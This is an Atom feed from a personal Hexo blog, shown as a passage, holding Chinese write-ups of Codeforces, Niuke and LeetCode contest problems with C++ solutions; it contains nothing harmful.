-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
430 lines (236 loc) · 419 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>lan's spaces</title>
<link href="https://blog.lancelot.top/atom.xml" rel="self"/>
<link href="https://blog.lancelot.top/"/>
<updated>2024-04-08T06:14:21.927Z</updated>
<id>https://blog.lancelot.top/</id>
<author>
<name>lance</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>Codeforces Global Round 25</title>
<link href="https://blog.lancelot.top/2024/04/Codeforces%20Global%20Round%2025/"/>
<id>https://blog.lancelot.top/2024/04/Codeforces%20Global%20Round%2025/</id>
<published>2024-04-08T06:06:00.000Z</published>
<updated>2024-04-08T06:14:21.927Z</updated>
<content type="html"><![CDATA[<p>A 了三题,2000+<br>卡在第四题,一个构造题上了</p><span id="more"></span><h2 id="d-buying-jewels"><a class="markdownIt-Anchor" href="#d-buying-jewels"></a> D. Buying Jewels</h2><p><a href="https://codeforces.com/contest/1951/problem/D">Problem - D - Codeforces</a></p><p>输入 n 和 k<br>其中 n 是钱,k 是要买够 k 个物品<br>让你构造一个数组代表摊位,你会贪心地将钱花在第一个,然后如果有剩余再去第二个…</p><p>思路 1 个大物品和 k - 1 个小物品<br>也就是说<br>第一个摊位是 first = (n - k + 1),我们可以买一个<br>第二个摊位是 1,剩下的钱去买 k - 1 个 1</p><p>需要保证 first X 2 > n</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">solve</span><span class="params">(ll n, ll k)</span> </span>{</span><br><span class="line"> ll tmp = n - (k - <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (tmp * <span class="number">2</span> > n) {</span><br><span class="line"> cout << <span class="string">"YES\n"</span>;</span><br><span class="line"> cout<<<span class="string">"2\n"</span>;</span><br><span class="line"> cout<<tmp<<<span class="string">" 1\n"</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (n == k) {</span><br><span class="line"> cout << <span class="string">"YES\n"</span>;</span><br><span class="line"> cout << <span class="number">1</span> << endl << <span class="number">1</span> << endl;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> cout << <span class="string">"NO\n"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>A 了三题,2000+<br>
卡在第四题,一个构造题上了</p></summary>
<category term="Codeforces" scheme="https://blog.lancelot.top/tags/Codeforces/"/>
</entry>
<entry>
<title>牛客周赛 Round 39</title>
<link href="https://blog.lancelot.top/2024/04/%E7%89%9B%E5%AE%A2%E5%91%A8%E8%B5%9B%20Round%2039/"/>
<id>https://blog.lancelot.top/2024/04/%E7%89%9B%E5%AE%A2%E5%91%A8%E8%B5%9B%20Round%2039/</id>
<published>2024-04-07T13:51:00.000Z</published>
<updated>2024-04-08T06:16:16.421Z</updated>
<content type="html"><![CDATA[<p>IOI赛制,600+,<code>y神</code> 关键思路,C D 题的对 P 取模<br>D 题是一个完全背包,不优化可过<br>E 因为边界导致没 a 出来,30 分<br>F 暴力可以过…</p><span id="more"></span><h2 id="a"><a class="markdownIt-Anchor" href="#a"></a> A</h2><p>签到</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">int</span> n = <span class="number">0</span>;</span><br><span class="line"> <span class="function">vector<ll> <span class="title">nums</span><span class="params">(<span class="number">6</span>)</span></span>;</span><br><span class="line"> ll sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">6</span>; i++) {</span><br><span class="line"> cin >> nums[i];</span><br><span class="line"> sum += nums[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (nums[<span class="number">0</span>] * <span class="number">30</span> < sum) {</span><br><span class="line"> cout << <span class="string">"Yes"</span> << endl;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> cout << <span class="string">"No"</span> << endl;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="b"><a class="markdownIt-Anchor" href="#b"></a> B</h2><p>从大到小排序,模拟即可</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span> </span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std; </span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll; </span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>; </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{ </span><br><span class="line"> ll n = <span class="number">0</span>, k; </span><br><span class="line"> cin >> n >> k; </span><br><span class="line"> <span class="function">vector<ll> <span class="title">nums</span><span class="params">(n)</span></span>; </span><br><span class="line"> ll sum = <span class="number">0</span>; </span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++) { </span><br><span class="line"> cin >> nums[i]; </span><br><span class="line"> sum += nums[i]; </span><br><span class="line"> } </span><br><span class="line"> <span class="built_in">sort</span>(nums.<span class="built_in">begin</span>(), nums.<span class="built_in">end</span>(), <span class="built_in">greater</span><ll>()); </span><br><span class="line"> ll yu = sum % k; </span><br><span class="line"> <span class="keyword">if</span> (yu == <span class="number">0</span>) { </span><br><span class="line"> cout << <span class="number">0</span> << endl; </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; </span><br><span class="line"> } <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++) { </span><br><span class="line"> <span class="keyword">if</span> (nums[i] <= yu) { </span><br><span class="line"> yu -= nums[i]; </span><br><span class="line"> } <span class="keyword">else</span> { </span><br><span class="line"> yu = <span class="number">0</span>; </span><br><span class="line"> } <span class="keyword">if</span> (yu == <span class="number">0</span>) { </span><br><span class="line"> cout << i + <span class="number">1</span> << endl; </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; </span><br><span class="line"> } } cout << n << endl; </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="c"><a class="markdownIt-Anchor" href="#c"></a> C</h2><p>因为 p == 3 只需要判断三种情况</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">// read file</span></span><br><span class="line"> ll n, p;</span><br><span class="line"> cin >> n >> p;</span><br><span class="line"> <span class="function">vector<ll> <span class="title">v</span><span class="params">(n)</span></span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> &it: v) {</span><br><span class="line"> cin >> it;</span><br><span class="line"> it = it % <span class="number">3</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// n 种 food</span></span><br><span class="line"> <span class="comment">// value ai</span></span><br><span class="line"> <span class="comment">// sum % 3 == 0</span></span><br><span class="line"> <span class="comment">// 0 1 2</span></span><br><span class="line"> unordered_map<<span class="type">int</span>, <span class="type">int</span>> M;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it: v) {</span><br><span class="line"> <span class="keyword">if</span> (it == <span class="number">0</span>) {</span><br><span class="line"> cout << <span class="number">1</span> << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (it == <span class="number">1</span>) {</span><br><span class="line"> M[<span class="number">1</span>]++;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (it == <span class="number">2</span>) {</span><br><span class="line"> M[<span class="number">2</span>]++;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (M.<span class="built_in">count</span>(<span class="number">1</span>) && M.<span class="built_in">count</span>(<span class="number">2</span>)) {</span><br><span class="line"> cout << <span class="number">2</span> << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (M.<span class="built_in">count</span>(<span class="number">1</span>)) {</span><br><span class="line"> cout << <span class="number">3</span> << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (M.<span class="built_in">count</span>(<span class="number">2</span>)) {</span><br><span class="line"> cout << <span class="number">3</span> << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="d"><a class="markdownIt-Anchor" href="#d"></a> D</h2><p>Bfs ,加剪枝,暴力即可过</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">// read file</span></span><br><span class="line"> ll n, p;</span><br><span class="line"> cin >> n >> p;</span><br><span class="line"> <span class="function">vector<ll> <span class="title">v</span><span class="params">(n)</span></span>;</span><br><span class="line"> set<ll> s;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> &it: v) {</span><br><span class="line"> cin >> it;</span><br><span class="line"> it = it % p;</span><br><span class="line"> s.<span class="built_in">insert</span>(it);</span><br><span class="line"> }</span><br><span class="line"> vector<ll> nv;</span><br><span class="line"> queue<pair<<span class="type">int</span>, <span class="type">int</span>>> q;</span><br><span class="line"> <span class="function">vector<<span class="type">bool</span>> <span class="title">vis</span><span class="params">(p, <span class="literal">false</span>)</span></span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it: s) {</span><br><span class="line"> nv.<span class="built_in">push_back</span>(it);</span><br><span class="line"> q.<span class="built_in">push</span>({it, <span class="number">1</span>});</span><br><span class="line"> vis[it] = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (s.<span class="built_in">count</span>(<span class="number">0</span>)) {</span><br><span class="line"> cout << <span class="number">1</span> << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// bfs</span></span><br><span class="line"> <span class="keyword">while</span> (!q.<span class="built_in">empty</span>()) {</span><br><span class="line"> <span class="keyword">auto</span> [cur, step] = q.<span class="built_in">front</span>();</span><br><span class="line"> q.<span class="built_in">pop</span>();</span><br><span class="line"> <span class="keyword">if</span> (cur == <span class="number">0</span>) {</span><br><span class="line"> cout << step << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it: nv) {</span><br><span class="line"> <span class="type">int</span> to = (cur + it) % p;</span><br><span class="line"> <span class="keyword">if</span> (vis[to]) <span class="keyword">continue</span>;</span><br><span class="line"> q.<span class="built_in">push</span>({to, step + <span class="number">1</span>});</span><br><span class="line"> vis[to] = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> cout << <span class="number">-1</span> << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="e"><a class="markdownIt-Anchor" href="#e"></a> E</h2><p>求有多少种 1 <= i <= p, 1 <= j <= m, 1 <= k <= p, 注意去重<br>满足 i x j + 2 x i x k + 2 x j x k == x<br>思路 枚举+二分找答案</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> ll n = <span class="number">0</span>, k, p, ans = <span class="number">0</span>, x, m;</span><br><span class="line"> cin >> n >> m >> p >> x;</span><br><span class="line"> unordered_set<ll> s;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j <= m; j++) {</span><br><span class="line"> ll l = <span class="number">1</span>, r = p + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">while</span> (l <= r) {</span><br><span class="line"> ll mid = l + (r - l) / <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">if</span> (i * j + <span class="number">2</span> * i * mid + <span class="number">2</span> * j * mid == x && mid <= p) {</span><br><span class="line"> s.<span class="built_in">insert</span>(i + j * <span class="number">3001</span> + <span class="number">1ll</span> * mid * <span class="number">3001</span> * <span class="number">3001</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (i * j + <span class="number">2</span> * i * mid + <span class="number">2</span> * j * mid < x) {</span><br><span class="line"> l = mid + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> r = mid - <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> cout << s.<span class="built_in">size</span>() << endl;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="f"><a class="markdownIt-Anchor" href="#f"></a> F</h2><p>暴力能过,数据很弱</p><p>看到有并查集,二分,线段树的解法</p>]]></content>
<summary type="html"><p>IOI赛制,600+,<code>y神</code> 关键思路,C D 题的对 P 取模<br>
D 题是一个完全背包,不优化可过<br>
E 因为边界导致没 a 出来,30 分<br>
F 暴力可以过…</p></summary>
</entry>
<entry>
<title>LeetCode第 392 场周赛</title>
<link href="https://blog.lancelot.top/2024/04/LeetCode%E7%AC%AC%20392%20%E5%9C%BA%E5%91%A8%E8%B5%9B/"/>
<id>https://blog.lancelot.top/2024/04/LeetCode%E7%AC%AC%20392%20%E5%9C%BA%E5%91%A8%E8%B5%9B/</id>
<published>2024-04-07T04:33:00.000Z</published>
<updated>2024-04-07T14:46:05.001Z</updated>
<content type="html"><![CDATA[<p>有生之年第一场 LeetCode周赛,<code>y神</code> 就带我 AK 了,何其荣幸!<br>泪目…</p><span id="more"></span><h2 id="100264-最长的严格递增或递减子数组"><a class="markdownIt-Anchor" href="#100264-最长的严格递增或递减子数组"></a> 100264. 最长的严格递增或递减子数组</h2><p>模拟即可</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Solution</span> {</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="type">int</span> <span class="title">longestMonotonicSubarray</span><span class="params">(vector<<span class="type">int</span>> &nums)</span> </span>{</span><br><span class="line"> <span class="type">int</span> n = nums.<span class="built_in">size</span>();</span><br><span class="line"> <span class="type">int</span> ans = <span class="number">1</span>;</span><br><span class="line"> <span class="type">int</span> l = <span class="number">0</span>, r = l + <span class="number">1</span>;</span><br><span class="line"> <span class="type">int</span> c = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i < n; i++) {</span><br><span class="line"> <span class="keyword">if</span> (nums[i] < nums[i - <span class="number">1</span>]) {</span><br><span class="line"> c++;</span><br><span class="line"> ans = <span class="built_in">max</span>(c,ans);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> c = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> c = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i < n; i++) {</span><br><span class="line"> <span class="keyword">if</span> (nums[i] > nums[i - <span class="number">1</span>]) {</span><br><span class="line"> c++;</span><br><span class="line"> ans = <span class="built_in">max</span>(c,ans);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> c = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ans;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> Solution s;</span><br><span class="line"><span class="comment">// vector<int> nums = {1, 4, 3, 3, 2};</span></span><br><span class="line"><span class="comment">// vector<int> nums = {3, 3, 3, 3};</span></span><br><span class="line"><span class="comment">// vector<int> nums = {1, 4, 3, 3, 2};</span></span><br><span class="line"> cout << s.<span class="built_in">longestMonotonicSubarray</span>(nums) << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="100242-满足距离约束且字典序最小的字符串"><a class="markdownIt-Anchor" href="#100242-满足距离约束且字典序最小的字符串"></a> 100242. 满足距离约束且字典序最小的字符串</h2><p>模拟即可</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line"><span class="comment">// distance(s1, s2)</span></span><br><span class="line"><span class="comment">// calc min dis s1[i] s2[i]</span></span><br><span class="line"><span class="comment">// distance("ab", "cd") == 4</span></span><br><span class="line"><span class="comment">// distance("a", "z") == 1</span></span><br><span class="line"><span class="comment">// 你可以对字符串 s 执行 任意次 操作。在每次操作中,可以将 s 中的一个字母 改变 为 任意 其他小写英文字母。</span></span><br><span class="line"><span class="comment">// 可以得到的 字典序最小 的字符串 t ,且满足 distance(s, t) <= k</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Solution</span> {</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function">pair<<span class="type">int</span>, <span class="type">char</span>> <span class="title">c</span><span class="params">(<span class="type">char</span> &c1, <span class="type">int</span> k)</span> </span>{</span><br><span class="line"> <span class="type">char</span> cc;</span><br><span class="line"> <span class="type">int</span> dis = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (c1 - <span class="string">'a'</span> < <span class="string">'z'</span> - c1 + <span class="number">1</span>) {</span><br><span class="line"> dis = c1 - <span class="string">'a'</span>;</span><br><span class="line"> cc = c1 - dis;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> dis = <span class="string">'z'</span> - c1 + <span class="number">1</span>;</span><br><span class="line"> cc = (c1 - <span class="string">'a'</span> + dis) % <span class="number">26</span> + <span class="string">'a'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (k >= dis) {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">make_pair</span>(dis, cc);</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> 